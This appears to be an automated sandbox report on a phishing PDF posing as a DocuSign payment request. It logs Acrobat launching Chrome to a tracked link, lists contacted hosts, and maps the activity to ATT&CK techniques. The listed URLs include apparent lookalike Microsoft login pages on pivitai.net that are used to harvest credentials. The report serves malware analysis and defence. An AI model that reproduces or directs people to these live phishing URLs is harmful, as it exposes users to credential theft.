Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1624 --field-trial-handle=1548,i,17368980991378574226,11935322208934243998,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://email.wantyourfeedback.com/ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF5XZwY-2B6xtEf4K-2F0OUqW9J0ZCgtiHnuKPgwO57BN4nbMytPQKOXIsVPbDdaBFDQtTyzoa5R25WwanU8fj5yZvqu-2B0aEG-2FQ4kSONuVxLFMM-2FqYS1MSJTaXLSNFuW4lt9FGNOi682M0ACrKV4PH6f0bRGoXVwDSky-2BmaGT29AW5EV3RuTchu-2Boru3Y4Wm16cjugy6y-2F2BOZGZgPXLOR-2FFuMVOmBKDWyrgq2GUQxylBbCGXaTxKLNXuzOh1ksEsgdWOGQpbxMyYTcDgeZTrmeDmO727fKFS9y56TUe-2B-2BoBxWffpolwRAl10klJE3e621FXqSu7J-2BoO4HtcqciqN2yEmVQDTZeOiI4bgA5aknYFJoRzj5hZU63gJGvvMRh8Tqehj6cDyF9iHzG2g-2ByPvGjv9-2BY2hfcC7pMyfhaUZcB007mefDydRUmf5iRpMEgHR9Sg2XT7F31nGyAVtnPUHLCd-2F0y5N0zs-2B-2B-2FZf3TppEDBz4F3-2F6x2TfixqzzHPJHmGaDqIEsVqDag0p1CiLubdh-2BQ9ZwrdhYiMWvARGXRC5xDGIds3LiaJ35XcsroyLybhVsqMnQF-2FGK3qBYg4qiYPmbojMT2hi6OKOruTks5dTxn7bWIIh9iyVhgVqKl911azwSXtdb0Tm9w-2Bm4xTESGeIWacX5XwsvgSZkTgnF2q1XheonEnppza3CcFNYhOKVzSKP-2BlzMVWdhorzfsmpCaugAN1ynPRWwMr3nCm27Kqi2LjVKPmnvGtSA-2BdPJFkoDN2x0HWjiJX4bj-2B5Qie7gT7SHJ30pvX8eXFRnjOdpRN2wQ-3D-3DLEZO_-2B9RHaNlJTuT8Wl45M2xpmvRCZtWd0m9fTP74dNraSGfMgLd3R9QIuzEYL9XI7ldyhHZWVscd7CKMBwn5KQO96mWzbN7-2F2q4GodMF-2Bp-2F1fPX3Lf0iglsshTS0TOMR7hthNJ2CQy9yjw1G5cYyoERctW7e1GyPFYDp6vYSDyV5A4-2BJeBVPfbAvVUxlDOpG6mXhHdLD4qO-2FeBdvvviJNlAFYkkSI7OxVaZQWre8K8FmsEFfFn3tBRDg2y1QkCQbkio5uQVBqj7YZNB-2BirBQxaWLq7mOy73heMnBdF8oJlaD0rwTWaaKAWVo4aiElmNs-2F03diU6TJ2RAZcvQxWsKaj6LQDKVxlH8MellZqpFF9oT00ELhes2kznJXgLyrqkuGkALM5d3zJow1npVj8EdzY-2B-2BnchbUD2q62tvI8AE-2B7kpMhX-2Br64oZOfhYphysBoCXInqXvm9-2F0Vvha-2FctJroCDCPBx2zfhffD0NbMi-2BZ1k3FbKz2fLKoH4Nx7qkPYmAD08JG
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1760,i,4409796165917685690,4155670508853813645,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://email.wantyourfeedback.com/ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF5XZwY-2B6xtEf4K-2F0OUqW9J0ZCgtiHnuKPgwO57BN4nbMytPQKOXIsVPbDdaBFDQtTyzoa5R25WwanU8fj5yZvqu-2B0aEG-2FQ4kSONuVxLFMM-2FqYS1MSJTaXLSNFuW4lt9FGNOi682M0ACrKV4PH6f0bRGoXVwDSky-2BmaGT29AW5EV3RuTchu-2Boru3Y4Wm16cjugy6y-2F2BOZGZgPXLOR-2FFuMVOmBKDWyrgq2GUQxylBbCGXaTxKLNXuzOh1ksEsgdWOGQpbxMyYTcDgeZTrmeDmO727fKFS9y56TUe-2B-2BoBxWffpolwRAl10klJE3e621FXqSu7J-2BoO4HtcqciqN2yEmVQDTZeOiI4bgA5aknYFJoRzj5hZU63gJGvvMRh8Tqehj6cDyF9iHzG2g-2ByPvGjv9-2BY2hfcC7pMyfhaUZcB007mefDydRUmf5iRpMEgHR9Sg2XT7F31nGyAVtnPUHLCd-2F0y5N0zs-2B-2B-2FZf3TppEDBz4F3-2F6x2TfixqzzHPJHmGaDqIEsVqDag0p1CiLubdh-2BQ9ZwrdhYiMWvARGXRC5xDGIds3LiaJ35XcsroyLybhVsqMnQF-2FGK3qBYg4qiYPmbojMT2hi6OKOruTks5dTxn7bWIIh9iyVhgVqKl911azwSXtdb0Tm9w-2Bm4xTESGeIWacX5XwsvgSZkTgnF2q1XheonEnppza3CcFNYhOKVzSKP-2BlzMVWdhorzfsmpCaugAN1ynPRWwMr3nCm27Kqi2LjVKPmnvGtSA-2BdPJFkoDN2x0HWjiJX4bj-2B5Qie7gT7SHJ30pvX8eXFRnjOdpRN2wQ-3D-3DLEZO_-2B9RHaNlJTuT8Wl45M2xpmvRCZtWd0m9fTP74dNraSGfMgLd3R9QIuzEYL9XI7ldyhHZWVscd7CKMBwn5KQO96mWzbN7-2F2q4GodMF-2Bp-2F1fPX3Lf0iglsshTS0TOMR7hthNJ2CQy9yjw1G5cYyoERctW7e1GyPFYDp6vYSDyV5A4-2BJeBVPfbAvVUxlDOpG6mXhHdLD4qO-2FeBdvvviJNlAFYkkSI7OxVaZQWre8K8FmsEFfFn3tBRDg2y1QkCQbkio5uQVBqj7YZNB-2BirBQxaWLq7mOy73heMnBdF8oJlaD0rwTWaaKAWVo4aiElmNs-2F03diU6TJ2RAZcvQxWsKaj6LQDKVxlH8MellZqpFF9oT00ELhes2kznJXgLyrqkuGkALM5d3zJow1npVj8EdzY-2B-2BnchbUD2q62tvI8AE-2B7kpMhX-2Br64oZOfhYphysBoCXInqXvm9-2F0Vvha-2FctJroCDCPBx2zfhffD0NbMi-2BZ1k3FbKz2fLKoH4Nx7qkPYmAD08JG	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1624 --field-trial-handle=1548,i,17368980991378574226,11935322208934243998,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1760,i,4409796165917685690,4155670508853813645,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.16.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: DocuSign_Payapp#5_Pay_Requests.pdf	Initial sample: PDF keyword /JS count = 0
Source: DocuSign_Payapp#5_Pay_Requests.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: DocuSign_Payapp#5_Pay_Requests.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	1 Drive-by Compromise	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DocuSign_Payapp#5_Pay_Requests.pdf	5%	ReversingLabs	Document-PDF.Phishing.Generic

Source	Detection	Scanner	Label
https://dfgrt.pivitai.net/favicon.ico	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg	0%	Avira URL Cloud	safe
http://email.wantyourfeedback.com/ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF	0%	Avira URL Cloud	safe
https://wreg.pivitai.net/shared/1.0/content/js/BssoInterrupt_Core_ChpboAn7HyXj89A22M8mzg2.js	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	Avira URL Cloud	safe
https://ujty.pivitai.net	0%	Avira URL Cloud	safe
https://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js	0%	Avira URL Cloud	safe
https://dwqef.pivitai.net/Me.htm?v=3	0%	Avira URL Cloud	safe
https://login.microsoftonline.us	0%	Avira URL Cloud	safe
https://dfgrt.pivitai.net	0%	Avira URL Cloud	safe
https://device.dfgrt.pivitai.net	0%	Avira URL Cloud	safe
https://dyjt.pivitai.net/wlFGCNZO	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css	0%	Avira URL Cloud	safe
https://bdfdbdf.pivitai.net/owa/	0%	Avira URL Cloud	safe
https://wreg.pivitai.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_eb638da25d4055fbbb57.js	0%	Avira URL Cloud	safe
https://yukrtg.pivitai.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_7f0a8c2a247460fad87f.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dfgrt.pivitai.net	172.67.223.170	true	false	unknown
part-0013.t-0009.t-msedge.net	13.107.246.41	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	unknown
yukrtg.pivitai.net	172.67.223.170	true	false	unknown
www.google.com	142.250.217.164	true	false	high
dyjt.pivitai.net	104.21.32.98	true	false	unknown
wreg.pivitai.net	172.67.223.170	true	false	unknown
bdfdbdf.pivitai.net	104.21.32.98	true	false	unknown
dwqef.pivitai.net	172.67.223.170	true	false	unknown
identity.nel.measure.office.net	unknown	unknown	false	high
r4.res.office365.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://yukrtg.pivitai.net/shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js	false	Avira URL Cloud: safe	unknown
https://yukrtg.pivitai.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false	Avira URL Cloud: safe	unknown
https://wreg.pivitai.net/shared/1.0/content/js/BssoInterrupt_Core_ChpboAn7HyXj89A22M8mzg2.js	false	Avira URL Cloud: safe	unknown
https://dfgrt.pivitai.net/favicon.ico	false	Avira URL Cloud: safe	unknown
https://email.wantyourfeedback.com/ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D	false	Avira URL Cloud: safe	unknown
https://yukrtg.pivitai.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	false	Avira URL Cloud: safe	unknown
https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH	false		unknown
https://yukrtg.pivitai.net/shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg	false	Avira URL Cloud: safe	unknown
https://yukrtg.pivitai.net/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg	false	Avira URL Cloud: safe	unknown
https://bdfdbdf.pivitai.net/owa/prefetch.aspx	true		unknown
https://dwqef.pivitai.net/Me.htm?v=3	false	Avira URL Cloud: safe	unknown
https://dyjt.pivitai.net/wlFGCNZO	false	Avira URL Cloud: safe	unknown
https://yukrtg.pivitai.net/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css	false	Avira URL Cloud: safe	unknown
https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true	true		unknown
https://yukrtg.pivitai.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	false	Avira URL Cloud: safe	unknown
https://bdfdbdf.pivitai.net/owa/	false	Avira URL Cloud: safe	unknown
https://wreg.pivitai.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	false	Avira URL Cloud: safe	unknown
https://yukrtg.pivitai.net/shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png	false	Avira URL Cloud: safe	unknown
https://yukrtg.pivitai.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_7f0a8c2a247460fad87f.js	false	Avira URL Cloud: safe	unknown
https://yukrtg.pivitai.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_eb638da25d4055fbbb57.js	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://github.com/jquery/globalize	chromecache_187.17.dr	false		high
https://login.windows.net	chromecache_201.17.dr	false		high
https://login.chinacloudapi.cn	chromecache_201.17.dr	false		high
http://knockoutjs.com/	chromecache_197.17.dr, chromecache_204.17.dr	false		high
https://login-us.microsoftonline.com	chromecache_201.17.dr	false		high
https://ujty.pivitai.net	chromecache_201.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/douglascrockford/JSON-js	chromecache_191.17.dr, chromecache_184.17.dr, chromecache_197.17.dr, chromecache_204.17.dr	false		high
https://login.windows-ppe.net	chromecache_201.17.dr	false		high
http://email.wantyourfeedback.com/ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF	DocuSign_Payapp#5_Pay_Requests.pdf	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.us	chromecache_201.17.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_197.17.dr, chromecache_204.17.dr	false		high
https://dfgrt.pivitai.net	chromecache_201.17.dr	false	Avira URL Cloud: safe	unknown
https://device.dfgrt.pivitai.net	chromecache_201.17.dr	false	Avira URL Cloud: safe	unknown
http://feross.org	chromecache_191.17.dr	false		high
https://login.microsoftonline.de	chromecache_201.17.dr	false		high
https://login.partner.microsoftonline.cn	chromecache_201.17.dr	false		high
https://logincert.microsoftonline.com	chromecache_201.17.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
152.199.4.44	cs1100.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
104.94.108.142	unknown	United States	16625	AKAMAI-ASUS	false
104.21.32.98	dyjt.pivitai.net	United States	13335	CLOUDFLARENETUS	false
142.250.217.164	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.93.58	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.223.170	dfgrt.pivitai.net	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432348
Start date and time:	2024-04-26 22:16:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DocuSign_Payapp#5_Pay_Requests.pdf
Detection:	MAL
